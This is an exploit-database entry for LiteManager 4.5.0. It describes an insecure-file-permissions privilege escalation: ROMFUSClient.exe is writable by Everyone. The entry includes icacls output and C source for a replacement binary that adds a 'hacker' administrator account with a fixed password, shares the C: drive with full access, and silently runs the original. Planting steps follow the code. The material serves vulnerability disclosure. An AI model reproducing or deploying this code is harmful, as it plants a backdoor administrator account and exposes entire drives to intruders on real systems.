发布 2019-11-22 漏洞条目

LiteManager 4.5.0 – Insecure File Permissions

Exploit Source

# Exploit Title: LiteManager 4.5.0 - Insecure File Permissions

# Exploit Author: ZwX

# Exploit Date: 2019-11-21

# Vendor Homepage : LiteManager Team

# Software Link: http://html.tucows.com/preview/1594042/LiteManager-Free?q=remote+support

# Tested on OS: Windows 7

# Proof of Concept (PoC):

==========================

C:\Program Files\LiteManagerFree - Server>icacls *.exe

ROMFUSClient.exe Everyone:(F)

AUTORITE NT\Système:(I)(F)

BUILTIN\Administrateurs:(I)(F)

BUILTIN\Utilisateurs:(I)(RX)

#Exploit code(s):

=================

1) Compile below 'C' code name it as "ROMFUSClient.exe"

#include<windows.h>

int main(void){

system("net user hacker abc123 /add");

system("net localgroup Administrators hacker /add");

system("net share SHARE_NAME=c:\ /grant:hacker,full");

WinExec("C:\\Program Files\\LiteManagerFree\\~ROMFUSClient.exe",0);

return 0;

}

2) Rename original "ROMFUSClient.exe" to "~ROMFUSClient.exe"

3) Place our malicious "ROMFUSClient.exe" in the LiteManagerFree directory

4) Disconnect and wait for a more privileged user to connect and use ROMFUSClient IDE.

Privilege Successful Escalation

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